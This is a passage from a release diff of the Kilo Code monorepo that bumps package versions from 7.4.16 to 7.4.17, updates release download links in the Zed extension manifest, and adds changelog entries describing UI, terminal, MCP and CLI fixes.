"7.4.17", "dependencies": { "@docsearch/css": "^4", "@docsearch/js": "^4", @@ -227,7 +227,7 @@ }, "packages/kilo-gateway": { "name": "@kilocode/kilo-gateway", - "version": "7.4.16", + "version": "7.4.17", "dependencies": { "@ai-sdk/alibaba": "1.0.17", "@ai-sdk/anthropic": "3.0.71", @@ -263,7 +263,7 @@ }, "packages/kilo-i18n": { "name": "@kilocode/kilo-i18n", - "version": "7.4.16", + "version": "7.4.17", "devDependencies": { "@tsconfig/node22": "catalog:", "@types/bun": "catalog:", @@ -273,7 +273,7 @@ }, "packages/kilo-indexing": { "name": "@kilocode/kilo-indexing", - "version": "7.4.16", + "version": "7.4.17", "dependencies": { "@aws-sdk/client-bedrock-runtime": "3.1005.0", "@aws-sdk/credential-provider-ini": "3.972.31", @@ -309,7 +309,7 @@ }, "packages/kilo-memory": { "name": "@kilocode/kilo-memory", - "version": "7.4.16", + "version": "7.4.17", "dependencies": { "effect": "catalog:", "zod": "catalog:", @@ -323,7 +323,7 @@ }, "packages/kilo-sandbox": { "name": "@kilocode/sandbox", - "version": "7.4.16", + "version": "7.4.17", "dependencies": { "@anthropic-ai/sandbox-runtime": "catalog:", "effect": "catalog:", @@ -338,7 +338,7 @@ }, "packages/kilo-telemetry": { "name": "@kilocode/kilo-telemetry", - "version": "7.4.16", + "version": "7.4.17", "dependencies": { "@kilocode/kilo-gateway": "workspace:*", "posthog-node": "4.4.0", @@ -352,7 +352,7 @@ }, "packages/kilo-ui": { "name": "@kilocode/kilo-ui", - "version": "7.4.16", + "version": "7.4.17", "dependencies": { "@kilocode/sdk": "workspace:*", "@kobalte/core": "0.13.11", @@ -389,7 +389,7 @@ }, "packages/kilo-vscode": { "name": "kilo-code", - "version": "7.4.16", + "version": "7.4.17", "dependencies": { "@anthropic-ai/sdk": "^0.39.0", "@kilocode/kilo-gateway": "workspace:*", @@ -458,7 +458,7 @@ }, "packages/kilo-web-ui": { "name": "@kilocode/kilo-web-ui", - "version": "7.4.16", + "version": "7.4.17", "dependencies": { "@kilocode/kilo-ui": "workspace:*", "@kobalte/core": "catalog:", @@ -475,7 +475,7 @@ }, "packages/llm": { "name": "@opencode-ai/llm", - "version": "7.4.16", + "version": "7.4.17", "dependencies": { "@smithy/eventstream-codec": "4.2.14", "@smithy/util-utf8": "4.2.2", @@ -493,7 +493,7 @@ }, "packages/opencode": { "name": "@kilocode/cli", - "version": "7.4.16", + "version": "7.4.17", "bin": { "kilo": "./bin/kilo", "kilocode": "./bin/kilo", @@ -660,7 +660,7 @@ }, "packages/plugin": { "name": "@kilocode/plugin", - "version": "7.4.16", + "version": "7.4.17", "dependencies": { "@kilocode/sdk": "workspace:*", "effect": "catalog:", @@ -688,7 +688,7 @@ }, "packages/plugin-atomic-chat": { "name": "@kilocode/plugin-atomic-chat", - "version": "7.4.16", + "version": "7.4.17", "dependencies": { "@kilocode/plugin": "workspace:*", }, @@ -702,7 +702,7 @@ }, "packages/script": { "name": "@opencode-ai/script", - "version": "7.4.16", + "version": "7.4.17", "dependencies": { "semver": "^7.6.3", }, @@ -713,7 +713,7 @@ }, "packages/sdk/js": { "name": "@kilocode/sdk", - "version": "7.4.16", + "version": "7.4.17", "dependencies": { "cross-spawn": "catalog:", }, @@ -728,7 +728,7 @@ }, "packages/server": { "name": "@opencode-ai/server", - "version": "7.4.16", + "version": "7.4.17", "dependencies": { "@opencode-ai/core": "workspace:*", "drizzle-orm": "catalog:", @@ -742,7 +742,7 @@ }, "packages/storybook": { "name": "@opencode-ai/storybook", - "version": "7.4.16", + "version": "7.4.17", "devDependencies": { "@opencode-ai/ui": "workspace:*", "@solidjs/meta": "catalog:", @@ -765,7 +765,7 @@ }, "packages/tui": { "name": "@opencode-ai/tui", - "version": "7.4.16", + "version": "7.4.17", "dependencies": { "@kilocode/plugin": "workspace:*", "@kilocode/sdk": "workspace:*", @@ -792,7 +792,7 @@ }, "packages/ui": { "name": "@opencode-ai/ui", - "version": "7.4.16", + "version": "7.4.17", "dependencies": { "@kilocode/sdk": "workspace:*", "@kobalte/core": "catalog:", @@ -845,22 +845,22 @@ }, }, "trustedDependencies": [ - "web-tree-sitter", "esbuild", - "tree-sitter-bash", "protobufjs", + "web-tree-sitter", + "tree-sitter-bash", ], "patchedDependencies": { - "virtua@0.49.1": "patches/virtua@0.49.1.patch", - "mammoth@1.12.0": "patches/mammoth@1.12.0.patch", - "@ff-labs/fff-bun@0.9.4": "patches/@ff-labs%2Ffff-bun@0.9.4.patch", - "@standard-community/standard-openapi@0.2.9": "patches/@standard-community%2Fstandard-openapi@0.2.9.patch", - "@modelcontextprotocol/sdk@1.29.0": "patches/@modelcontextprotocol%2Fsdk@1.29.0.patch", - "@ai-sdk/google@3.0.73": "patches/@ai-sdk%2Fgoogle@3.0.73.patch", - "pacote@21.5.1": "patches/pacote@21.5.1.patch", - "@silvia-odwyer/photon-node@0.3.4": "patches/@silvia-odwyer%2Fphoton-node@0.3.4.patch", - "@npmcli/agent@4.0.2": "patches/@npmcli%2Fagent@4.0.2.patch", "@ai-sdk/xai@3.0.102": "patches/@ai-sdk%2Fxai@3.0.102.patch", + "@modelcontextprotocol/sdk@1.29.0": "patches/@modelcontextprotocol%2Fsdk@1.29.0.patch", + "@ff-labs/fff-bun@0.9.4": "patches/@ff-labs%2Ffff-bun@0.9.4.patch", + "pacote@21.5.1": "patches/pacote@21.5.1.patch", + "@standard-community/standard-openapi@0.2.9": "patches/@standard-community%2Fstandard-openapi@0.2.9.patch", + "@npmcli/agent@4.0.2": "patches/@npmcli%2Fagent@4.0.2.patch", + "@silvia-odwyer/photon-node@0.3.4": "patches/@silvia-odwyer%2Fphoton-node@0.3.4.patch", + "virtua@0.49.1": "patches/virtua@0.49.1.patch", + "@ai-sdk/google@3.0.73": "patches/@ai-sdk%2Fgoogle@3.0.73.patch", + "mammoth@1.12.0": "patches/mammoth@1.12.0.patch", }, "overrides": { "@effect/platform-node-shared": "4.0.0-beta.74", diff --git a/package.json b/package.json index 2cbfccad00..d50ed093f2 100644 --- a/package.json +++ b/package.json @@ -171,6 +171,6 @@ "pacote@21.5.1": "patches/pacote@21.5.1.patch", "mammoth@1.12.0": "patches/mammoth@1.12.0.patch" }, - "version": "7.4.16", + "version": "7.4.17", "peerDependencies": {} } diff --git a/packages/core/package.json b/packages/core/package.json index ddb4d33d35..e64a66062d 100644 --- a/packages/core/package.json +++ b/packages/core/package.json @@ -1,6 +1,6 @@ { "$schema": "https://json.schemastore.org/package.json", - "version": "7.4.16", + "version": "7.4.17", "name": "@opencode-ai/core", "type": "module", "license": "MIT", diff --git a/packages/effect-drizzle-sqlite/package.json b/packages/effect-drizzle-sqlite/package.json index 920418a989..bdc5267013 100644 --- a/packages/effect-drizzle-sqlite/package.json +++ b/packages/effect-drizzle-sqlite/package.json @@ -1,6 +1,6 @@ { "$schema": "https://json.schemastore.org/package.json", - "version": "7.4.16", + "version": "7.4.17", "name": "@opencode-ai/effect-drizzle-sqlite", "type": "module", "license": "MIT", diff --git a/packages/effect-sqlite-node/package.json b/packages/effect-sqlite-node/package.json index 66a2274823..c5863bfad0 100644 --- a/packages/effect-sqlite-node/package.json +++ b/packages/effect-sqlite-node/package.json @@ -1,6 +1,6 @@ { "$schema": "https://json.schemastore.org/package.json", - "version": "7.4.16", + "version": "7.4.17", "name": "@opencode-ai/effect-sqlite-node", "type": "module", "license": "MIT", diff --git a/packages/extensions/zed/extension.toml b/packages/extensions/zed/extension.toml index d31c75a3d8..a912fd5940 100644 --- a/packages/extensions/zed/extension.toml +++ b/packages/extensions/zed/extension.toml @@ -1,7 +1,7 @@ id = "kilo" name = "Kilo" description = "The open source coding agent." -version = "7.4.16" +version = "7.4.17" schema_version = 1 authors = ["Anomaly"] repository = "https://github.com/Kilo-Org/kilocode" @@ -11,26 +11,26 @@ name = "Kilo" icon = "./icons/opencode.svg" [agent_servers.opencode.targets.darwin-aarch64] -archive = "https://github.com/Kilo-Org/kilocode/releases/download/v7.4.16/opencode-darwin-arm64.zip" +archive = "https://github.com/Kilo-Org/kilocode/releases/download/v7.4.17/opencode-darwin-arm64.zip" cmd = "./opencode" args = ["acp"] [agent_servers.opencode.targets.darwin-x86_64] -archive = "https://github.com/Kilo-Org/kilocode/releases/download/v7.4.16/opencode-darwin-x64.zip" +archive = "https://github.com/Kilo-Org/kilocode/releases/download/v7.4.17/opencode-darwin-x64.zip" cmd = "./opencode" args = ["acp"] [agent_servers.opencode.targets.linux-aarch64] -archive = "https://github.com/Kilo-Org/kilocode/releases/download/v7.4.16/opencode-linux-arm64.tar.gz" +archive = "https://github.com/Kilo-Org/kilocode/releases/download/v7.4.17/opencode-linux-arm64.tar.gz" cmd = "./opencode" args = ["acp"] [agent_servers.opencode.targets.linux-x86_64] -archive = "https://github.com/Kilo-Org/kilocode/releases/download/v7.4.16/opencode-linux-x64.tar.gz" +archive = "https://github.com/Kilo-Org/kilocode/releases/download/v7.4.17/opencode-linux-x64.tar.gz" cmd = "./opencode" args = ["acp"] [agent_servers.opencode.targets.windows-x86_64] -archive = "https://github.com/Kilo-Org/kilocode/releases/download/v7.4.16/opencode-windows-x64.zip" +archive = "https://github.com/Kilo-Org/kilocode/releases/download/v7.4.17/opencode-windows-x64.zip" cmd = "./opencode.exe" args = ["acp"] diff --git a/packages/http-recorder/package.json b/packages/http-recorder/package.json index fec3e374d0..46de980c7a 100644 --- a/packages/http-recorder/package.json +++ b/packages/http-recorder/package.json @@ -1,6 +1,6 @@ { "$schema": "https://json.schemastore.org/package.json", - "version": "7.4.16", + "version": "7.4.17", "name": "@opencode-ai/http-recorder", "description": "Record and replay Effect HTTP client traffic with deterministic cassettes", "type": "module", diff --git a/packages/kilo-console/package.json b/packages/kilo-console/package.json index 82ed878f47..53ac288500 100755 --- a/packages/kilo-console/package.json +++ b/packages/kilo-console/package.json @@ -1,6 +1,6 @@ { "name": "@kilocode/kilo-console", - "version": "7.4.16", + "version": "7.4.17", "private": true, "type": "module", "scripts": { diff --git a/packages/kilo-docs/package.json b/packages/kilo-docs/package.json index cff09854e6..742763dd4d 100644 --- a/packages/kilo-docs/package.json +++ b/packages/kilo-docs/package.json @@ -1,6 +1,6 @@ { "name": "@kilocode/kilo-docs", - "version": "7.4.16", + "version": "7.4.17", "private": true, "scripts": { "dev": "next dev --webpack --port 3002", diff --git a/packages/kilo-gateway/package.json b/packages/kilo-gateway/package.json index 37461419a9..15fac962bb 100644 --- a/packages/kilo-gateway/package.json +++ b/packages/kilo-gateway/package.json @@ -1,7 +1,7 @@ { "$schema": "https://json.schemastore.org/package.json", "name": "@kilocode/kilo-gateway", - "version": "7.4.16", + "version": "7.4.17", "type": "module", "license": "MIT", "description": "Unified Kilo Gateway package for OpenCode - authentication, provider, and API integration", diff --git a/packages/kilo-i18n/package.json b/packages/kilo-i18n/package.json index f690fe2f5f..e50df8969b 100644 --- a/packages/kilo-i18n/package.json +++ b/packages/kilo-i18n/package.json @@ -1,7 +1,7 @@ { "$schema": "https://json.schemastore.org/package.json", "name": "@kilocode/kilo-i18n", - "version": "7.4.16", + "version": "7.4.17", "type": "module", "license": "MIT", "description": "Kilo-specific i18n translations and overrides", diff --git a/packages/kilo-indexing/package.json b/packages/kilo-indexing/package.json index eac32eee09..fd56507373 100644 --- a/packages/kilo-indexing/package.json +++ b/packages/kilo-indexing/package.json @@ -1,7 +1,7 @@ { "$schema": "https://json.schemastore.org/package.json", "name": "@kilocode/kilo-indexing", - "version": "7.4.16", + "version": "7.4.17", "type": "module", "license": "MIT", "description": "Standalone indexing engine and host helpers for Kilo Code", diff --git a/packages/kilo-jetbrains/CHANGELOG.md b/packages/kilo-jetbrains/CHANGELOG.md index 7c48f6085e..90eda933de 100644 --- a/packages/kilo-jetbrains/CHANGELOG.md +++ b/packages/kilo-jetbrains/CHANGELOG.md @@ -1,5 +1,15 @@ # Changelog +## 7.5.0 + +### Minor Changes + +- [#12518](https://github.com/Kilo-Org/kilocode/pull/12518) [`452d0eb`](https://github.com/Kilo-Org/kilocode/commit/452d0eb55f740e951cfd906375e22cf97250144c) - Publish a signed GitHub-hosted JetBrains plugin build with the CLI bundled for offline installation. + +### Patch Changes + +- [#12571](https://github.com/Kilo-Org/kilocode/pull/12571) [`9950739`](https://github.com/Kilo-Org/kilocode/commit/9950739e36b40a682c0a25173e62f5236e60f81a) - Allow sending prompts while a session is busy and show queued prompts with a remove action. + ## 7.4.16 ### Patch Changes @@ -134,7 +144,9 @@ ### Changed - Update the JetBrains CLI pin from Kilo Core 7.4.15 to 7.4.16. + ## [7.0.10] - 2026-07-24 + ## [7.0.10] - 2026-07-24 ### Added diff --git a/packages/kilo-memory/package.json b/packages/kilo-memory/package.json index df2adc3325..d48bcabe87 100644 --- a/packages/kilo-memory/package.json +++ b/packages/kilo-memory/package.json @@ -1,7 +1,7 @@ { "$schema": "https://json.schemastore.org/package.json", "name": "@kilocode/kilo-memory", - "version": "7.4.16", + "version": "7.4.17", "type": "module", "license": "MIT", "description": "Project memory storage, indexing, recall, and command helpers for Kilo Code", diff --git a/packages/kilo-sandbox/package.json b/packages/kilo-sandbox/package.json index ff29edd756..b57728afed 100644 --- a/packages/kilo-sandbox/package.json +++ b/packages/kilo-sandbox/package.json @@ -1,7 +1,7 @@ { "$schema": "https://json.schemastore.org/package.json", "name": "@kilocode/sandbox", - "version": "7.4.16", + "version": "7.4.17", "type": "module", "license": "MIT", "private": true, diff --git a/packages/kilo-telemetry/package.json b/packages/kilo-telemetry/package.json index 7b9e81497a..36243e82c9 100644 --- a/packages/kilo-telemetry/package.json +++ b/packages/kilo-telemetry/package.json @@ -1,7 +1,7 @@ { "$schema": "https://json.schemastore.org/package.json", "name": "@kilocode/kilo-telemetry", - "version": "7.4.16", + "version": "7.4.17", "type": "module", "license": "MIT", "description": "Telemetry for Kilo CLI - PostHog analytics integration", diff --git a/packages/kilo-ui/package.json b/packages/kilo-ui/package.json index 3043aedbab..25e78d8ac0 100644 --- a/packages/kilo-ui/package.json +++ b/packages/kilo-ui/package.json @@ -1,6 +1,6 @@ { "name": "@kilocode/kilo-ui", - "version": "7.4.16", + "version": "7.4.17", "type": "module", "license": "MIT", "exports": { diff --git a/packages/kilo-vscode/CHANGELOG.md b/packages/kilo-vscode/CHANGELOG.md index d41e4a8c94..8e0e1d920c 100644 --- a/packages/kilo-vscode/CHANGELOG.md +++ b/packages/kilo-vscode/CHANGELOG.md @@ -1,5 +1,78 @@ # kilo-code +## 7.4.17 + +### Minor Changes + +- [#12631](https://github.com/Kilo-Org/kilocode/pull/12631) [`3321216`](https://github.com/Kilo-Org/kilocode/commit/3321216c0157e1a8a1829b0c8e0a1cae8d2f2ad2) - Show the ⌘1-9 (Ctrl+1-9 on Windows/Linux) shortcut badges on every Agent Manager sidebar card while the modifier key is held, making it easy to see which number jumps to which worktree before pressing it. + +- [#12598](https://github.com/Kilo-Org/kilocode/pull/12598) [`c6711fc`](https://github.com/Kilo-Org/kilocode/commit/c6711fcf6cea9fdbe78a04b95276d09a2faabfa7) - Let users open Agent Manager terminals in the VS Code terminal or an embedded side panel. The terminal button's dropdown picks the destination; the side panel shares the right-hand inspector with the diff view and keeps running in the background when hidden. + +- [#12633](https://github.com/Kilo-Org/kilocode/pull/12633) [`23039c0`](https://github.com/Kilo-Org/kilocode/commit/23039c0fb1e5b32704119ddde10a6a28ccd6bff3) - Support multiple Agent Manager side-panel terminals per context. The panel header is now a tab strip that reuses the main tab bar's terminal tabs: click to switch, drag to reorder, X to close a single terminal, and + to open another one. Terminal numbers fill gaps left by closed terminals, and tabs pick up the live title from the shell or running program (OSC escape codes), so a dev server or build names its own tab. + +- [#12632](https://github.com/Kilo-Org/kilocode/pull/12632) [`0d853df`](https://github.com/Kilo-Org/kilocode/commit/0d853df3ec338ac99e025939f74136dec6d9daa1) - Add a prompt navigator rail to the chat transcript. A thin rail of ticks on the left edge shows one tick per prompt you sent; hovering or focusing it expands a card listing those prompts with a short preview of the answer, and clicking jumps the transcript to that turn. It appears in the sidebar, Kilo editor tabs, the sub-agent viewer, and Agent Manager, and never changes the readable width of the chat. + +### Patch Changes + +- [#12629](https://github.com/Kilo-Org/kilocode/pull/12629) [`0a1c140`](https://github.com/Kilo-Org/kilocode/commit/0a1c14073a4bf14f8ad4e3c8295dc6ae6bfbfdaf) - Keep each Agent Manager panel's terminal destination consistent. A dropdown pick is now remembered per panel and no longer flips when another window rewrites the shared terminal destination setting, so the terminal shortcut keeps opening the terminal type that panel is actually using. The shortcut also no longer dead-ends on worktrees without an active session, and terminals left over from a reloaded webview are cleaned up instead of leaking. + +- [#12587](https://github.com/Kilo-Org/kilocode/pull/12587) [`16f8e7e`](https://github.com/Kilo-Org/kilocode/commit/16f8e7ef7fbd47755395539e7df54af3baae0c63) - Keep conversations and workspace files unchanged when a checkpoint cannot be fully restored. + +- [#12333](https://github.com/Kilo-Org/kilocode/pull/12333) [`290a5af`](https://github.com/Kilo-Org/kilocode/commit/290a5af56e6ddccd8b4a459883625e30f2ae0344) Thanks [@IamCoder18](https://github.com/IamCoder18)! - Include basic-auth credentials in the Local and Network Console URLs printed by `kilo console`, so users on headless hosts (no `DISPLAY`/`WAYLAND_DISPLAY`, SSH sessions, CI runners) can open the URL in a browser on another machine and reach the Console. + +- [#12630](https://github.com/Kilo-Org/kilocode/pull/12630) [`a7f972f`](https://github.com/Kilo-Org/kilocode/commit/a7f972f63bc948d70b73a36a5beab6d694316037) - Open Agent Manager terminals faster and avoid delayed shell prompts. + +- [#12560](https://github.com/Kilo-Org/kilocode/pull/12560) [`65c5e9d`](https://github.com/Kilo-Org/kilocode/commit/65c5e9d2c03cea152b140710228075edf9156def) - Update the visible agent mode when cycling modes in Kilo sidebars and pending session tabs. + +- [#12561](https://github.com/Kilo-Org/kilocode/pull/12561) [`44f5963`](https://github.com/Kilo-Org/kilocode/commit/44f596366931d5336f1cd4dfdd97ef54e0f2fa4c) - Fix settings changes sometimes failing to save and apply in VS Code. + +- [#12540](https://github.com/Kilo-Org/kilocode/pull/12540) [`2da8949`](https://github.com/Kilo-Org/kilocode/commit/2da89498138e49f857c354924fdecac85337e742) Thanks [@Githubguy132010](https://github.com/Githubguy132010)! - Preserve parenthesized tilde expressions as literal text in rendered chat messages. + +- [#12591](https://github.com/Kilo-Org/kilocode/pull/12591) [`625d2b9`](https://github.com/Kilo-Org/kilocode/commit/625d2b974de1381b4d475808c9215becb263d1f0) - Show prompt input toggle tooltips instantly on hover instead of after a delay. + +- [#12460](https://github.com/Kilo-Org/kilocode/pull/12460) [`51d8031`](https://github.com/Kilo-Org/kilocode/commit/51d8031c9997bd5478bcde715562169f732d04d4) - Changes from opencode v1.17.5 to v1.17.9 upstream: + - Core Bugfixes: Improved MCP server compatibility by declaring Kilo's supported client capabilities. + - Core Bugfixes: Plugin client requests now reuse the active server instead of assuming the default local port. + - Core Bugfixes: ACP shell tool calls now show the command and working directory from the start. + - Core Bugfixes: Plugin-provided shell environment variables now apply to PTY sessions. + - Core Bugfixes: OpenAI-compatible providers now accept MCP tool schemas that previously failed validation. (@jquense) + - Core Bugfixes: Cloudflare AI Gateway now receives the configured API key correctly. (@keefetang) + - Core Bugfixes: MCP tools without declared schema properties now work with providers that expect object properties. + - Core Bugfixes: Long-running MCP tools now keep their timeout alive when they report progress. (@Nomadcxx) + - Core Bugfixes: The MCP OAuth callback server now shuts down once authorization finishes or is cancelled. + - Core Bugfixes: MCP tool failures now surface the server's error text instead of a generic failure. + - Core Bugfixes: MCP OAuth error pages now escape provider error text correctly. + - Core Bugfixes: Honor configured agent step limits by forcing a final text response instead of failing mid-run. + - Core Bugfixes: Queue steering prompts before dismissing pending questions so the previous turn cannot resume first. + - Core Bugfixes: Prevent local server credentials from leaking into spawned PTY processes. + - Core Bugfixes: Fix Devstral model detection when provider IDs use different casing. (@Robin1987China) + - Core Bugfixes: Pass configured custom headers to Copilot model requests. + - Core Improvements: MCP servers can now receive the current workspace as a client root. + - Core Improvements: Session timelines load much faster and avoid flicker or scroll jumps. + - Core Improvements: Add `high` and `max` thinking variants for GLM-5.2 across supported providers. (@imranshaiedi-byte) + - Core Improvements: Stop wrapping follow-up user messages in a steering reminder so prompt caching stays effective. + - TUI Bugfixes: MCP debug now uses the SDK's latest protocol version. + - TUI Bugfixes: Only show the background subagent shortcut when the server supports it. + - UI Bugfixes: Render completed Mermaid blocks from diagram source instead of fenced Markdown. + +- [#11984](https://github.com/Kilo-Org/kilocode/pull/11984) [`26dac19`](https://github.com/Kilo-Org/kilocode/commit/26dac197fe28294c391c8d437abf06e18e2d22bd) Thanks [@sylwester-liljegren](https://github.com/sylwester-liljegren)! - Mention `@` file references in the chat input placeholder so users know they can add file mentions. Translated across all supported languages. + +- [#12593](https://github.com/Kilo-Org/kilocode/pull/12593) [`160b066`](https://github.com/Kilo-Org/kilocode/commit/160b06661acc5f04b21221ab6578c468325f64c5) - Prevent the VS Code backend from eagerly starting native file watchers for every Agent Manager worktree. + +- [#12123](https://github.com/Kilo-Org/kilocode/pull/12123) [`3075d35`](https://github.com/Kilo-Org/kilocode/commit/3075d35f13ba9738446ac28fa2eebf054097f2f5) Thanks [@mjnaderi](https://github.com/mjnaderi)! - Keep message and response copy buttons working after switching focus away from VS Code. + +- [#12583](https://github.com/Kilo-Org/kilocode/pull/12583) [`1310c12`](https://github.com/Kilo-Org/kilocode/commit/1310c1200ab613b316f27fe4fd59e23e262df02f) Thanks [@noobezlol](https://github.com/noobezlol)! - Keep Windows snapshot diffs parseable and preserve valid files when a stored patch is malformed. + +- [#12410](https://github.com/Kilo-Org/kilocode/pull/12410) [`85d65a3`](https://github.com/Kilo-Org/kilocode/commit/85d65a3137ecadfcbda8255bfb4a40daf1f155fb) - Open Kilo chats, settings, and files as tabs in the selected editor pane without creating, locking, or resizing editor panes. + +- [#12639](https://github.com/Kilo-Org/kilocode/pull/12639) [`8a47d8b`](https://github.com/Kilo-Org/kilocode/commit/8a47d8b78885fa8fd14c73b3aecdb57e1fc96c9c) - Stop flashing a "Turn interrupted" warning when a follow-up message is queued while the assistant is still working. The running turn now closes with a dedicated "superseded" reason instead of "interrupted" when it hands off to the queued prompt, so the premature-stop warning only appears for real interruptions. + +- [#12602](https://github.com/Kilo-Org/kilocode/pull/12602) [`5d87ca5`](https://github.com/Kilo-Org/kilocode/commit/5d87ca598c4c66328f0e476cb1be3fc9b26d05aa) - Remove unused translation keys from the Agent Manager, sidebar webview, shared kilo-i18n, and autocomplete dictionaries across all locales, and add a conservative lint test for unreferenced, unprotected dictionary keys. + +- [#12463](https://github.com/Kilo-Org/kilocode/pull/12463) [`1f3383c`](https://github.com/Kilo-Org/kilocode/commit/1f3383cf3de37327b02e0fc2a1c5ac176ca9134f) Thanks [@IamCoder18](https://github.com/IamCoder18)! - Show the `Ctrl+T` variant cycling shortcut in the TUI prompt hint row whenever the active model exposes reasoning variants, as the first hint before the agent and command palette hints + +- [#12634](https://github.com/Kilo-Org/kilocode/pull/12634) [`4c5c242`](https://github.com/Kilo-Org/kilocode/commit/4c5c2428927f26c4c818f23a650cfaf5723b7641) - Show the worktree directory name on the Agent Manager worktree hover card + ## 7.4.16 ### Minor Changes diff --git a/packages/kilo-vscode/package.json b/packages/kilo-vscode/package.json index e6fa5101c1..901f9c9363 100644 --- a/packages/kilo-vscode/package.json +++ b/packages/kilo-vscode/package.json @@ -2,7 +2,7 @@ "name": "kilo-code", "displayName": "Kilo Code: AI Coding Agent, Copilot, and Autocomplete", "description": "Open Source AI coding agent that generates code from natural language, automates tasks, and runs terminal commands. Features inline autocomplete, browser automation, automated refactoring, and custom modes for planning, coding, and debugging. Supports 500+ AI models including Claude (Anthropic), Gemini, Grok, GPT, Codex and GLM.", - "version": "7.4.16", + "version": "7.4.17", "icon": "assets/icons/logo-outline-black.png", "galleryBanner": { "color": "#FFFFFF", diff --git a/packages/kilo-vscode/tests/package.json b/packages/kilo-vscode/tests/package.json index 38105c8a8f..52e607fbd4 100644 --- a/packages/kilo-vscode/tests/package.json +++ b/packages/kilo-vscode/tests/package.json @@ -1,6 +1,6 @@ { "type": "module", - "version": "7.4.16", + "version": "7.4.17", "dependencies": {}, "devDependencies": {}, "peerDependencies": {} diff --git a/packages/kilo-web-ui/package.json b/packages/kilo-web-ui/package.json index 94abbda32a..a831a4ea50 100644 --- a/packages/kilo-web-ui/package.json +++ b/packages/kilo-web-ui/package.json @@ -1,6 +1,6 @@ { "name": "@kilocode/kilo-web-ui", - "version": "7.4.16", + "version": "7.4.17", "type": "module", "license": "MIT", "exports": { diff --git a/packages/llm/package.json b/packages/llm/package.json index 892d40dce2..fe0a6c4e55 100644 --- a/packages/llm/package.json +++ b/packages/llm/package.json @@ -1,6 +1,6 @@ { "$schema": "https://json.schemastore.org/package.json", - "version": "7.4.16", + "version": "7.4.17", "name": "@opencode-ai/llm", "type": "module", "license": "MIT", diff --git a/packages/opencode/CHANGELOG.md b/packages/opencode/CHANGELOG.md index 707c839036..13eef058d4 100644 --- a/packages/opencode/CHANGELOG.md +++ b/packages/opencode/CHANGELOG.md @@ -1,5 +1,64 @@ # @kilocode/cli +## 7.4.17 + +### Patch Changes + +- [#12544](https://github.com/Kilo-Org/kilocode/pull/12544) [`b8d83fb`](https://github.com/Kilo-Org/kilocode/commit/b8d83fb537040afd6632a6d893acc412395832e4) - Support adaptive thinking levels for Claude Opus and Sonnet 5 and later. + +- [#12587](https://github.com/Kilo-Org/kilocode/pull/12587) [`16f8e7e`](https://github.com/Kilo-Org/kilocode/commit/16f8e7ef7fbd47755395539e7df54af3baae0c63) - Keep conversations and workspace files unchanged when a checkpoint cannot be fully restored. + +- [#12444](https://github.com/Kilo-Org/kilocode/pull/12444) [`92076e7`](https://github.com/Kilo-Org/kilocode/commit/92076e7071084b4bf2ce87d90eb6d45a502c836c) Thanks [@IamCoder18](https://github.com/IamCoder18)! - Add a `/auto-approve` slash command in the TUI for toggling auto-approve mode, with aliases `/autoapprove`, `/approve-all`, and `/approveall`. The command dispatches the existing palette entry, so behavior matches the Ctrl+P "Enable/Disable auto-approve mode" toggle. + +- [#11986](https://github.com/Kilo-Org/kilocode/pull/11986) [`0abe474`](https://github.com/Kilo-Org/kilocode/commit/0abe474b6d5c5d482ce950abfd9033bf0c5af3b4) Thanks [@IamCoder18](https://github.com/IamCoder18)! - Let the Context section in the TUI session sidebar collapse and expand on header click, matching the existing collapsible pattern used by Token Usage, Models, and Terminal Bench 2.0. When collapsed, the header shows a one-line summary of percent used and total cost. + +- [#12601](https://github.com/Kilo-Org/kilocode/pull/12601) [`dab2e79`](https://github.com/Kilo-Org/kilocode/commit/dab2e79d6ecc24acfd8737a10dfdf8ef02765b30) - Exclude GPT-5.6 from models available through ChatGPT subscriptions while retaining access to variants such as GPT-5.6 Sol. + +- [#12592](https://github.com/Kilo-Org/kilocode/pull/12592) [`8c88048`](https://github.com/Kilo-Org/kilocode/commit/8c880487818728f41ffc3087d27d6ce6b4591b53) Thanks [@noobezlol](https://github.com/noobezlol)! - Keep Nix builds on the Bun version required by the repository. + +- [#12545](https://github.com/Kilo-Org/kilocode/pull/12545) [`b2735bf`](https://github.com/Kilo-Org/kilocode/commit/b2735bfbc9df170274a12ec4786106dacb61090f) - Fix session transcripts losing their final messages when the CLI exits — pending uploads are now flushed on shutdown and as soon as a session closes. + +- [#12470](https://github.com/Kilo-Org/kilocode/pull/12470) [`c0ebf98`](https://github.com/Kilo-Org/kilocode/commit/c0ebf987789ab6fa070106219ebc8c46cd0105af) Thanks [@IamCoder18](https://github.com/IamCoder18)! - Route the websearch tool's Exa requests through the Kilo proxy when signed into Kilo. The MCP-Exa transport is preserved as a fallback for users who set `EXA_API_KEY` or are not authenticated. A new `KILO_WEBSEARCH_PROVIDER=kilo-exa` env override forces the Kilo proxy path. Results are capped at 10. + +- [#12460](https://github.com/Kilo-Org/kilocode/pull/12460) [`51d8031`](https://github.com/Kilo-Org/kilocode/commit/51d8031c9997bd5478bcde715562169f732d04d4) - Changes from opencode v1.17.5 to v1.17.9 upstream: + - Core Bugfixes: Improved MCP server compatibility by declaring Kilo's supported client capabilities. + - Core Bugfixes: Plugin client requests now reuse the active server instead of assuming the default local port. + - Core Bugfixes: ACP shell tool calls now show the command and working directory from the start. + - Core Bugfixes: Plugin-provided shell environment variables now apply to PTY sessions. + - Core Bugfixes: OpenAI-compatible providers now accept MCP tool schemas that previously failed validation. (@jquense) + - Core Bugfixes: Cloudflare AI Gateway now receives the configured API key correctly. (@keefetang) + - Core Bugfixes: MCP tools without declared schema properties now work with providers that expect object properties. + - Core Bugfixes: Long-running MCP tools now keep their timeout alive when they report progress. (@Nomadcxx) + - Core Bugfixes: The MCP OAuth callback server now shuts down once authorization finishes or is cancelled. + - Core Bugfixes: MCP tool failures now surface the server's error text instead of a generic failure. + - Core Bugfixes: MCP OAuth error pages now escape provider error text correctly. + - Core Bugfixes: Honor configured agent step limits by forcing a final text response instead of failing mid-run. + - Core Bugfixes: Queue steering prompts before dismissing pending questions so the previous turn cannot resume first. + - Core Bugfixes: Prevent local server credentials from leaking into spawned PTY processes. + - Core Bugfixes: Fix Devstral model detection when provider IDs use different casing. (@Robin1987China) + - Core Bugfixes: Pass configured custom headers to Copilot model requests. + - Core Improvements: MCP servers can now receive the current workspace as a client root. + - Core Improvements: Session timelines load much faster and avoid flicker or scroll jumps. + - Core Improvements: Add `high` and `max` thinking variants for GLM-5.2 across supported providers. (@imranshaiedi-byte) + - Core Improvements: Stop wrapping follow-up user messages in a steering reminder so prompt caching stays effective. + - TUI Bugfixes: MCP debug now uses the SDK's latest protocol version. + - TUI Bugfixes: Only show the background subagent shortcut when the server supports it. + - UI Bugfixes: Render completed Mermaid blocks from 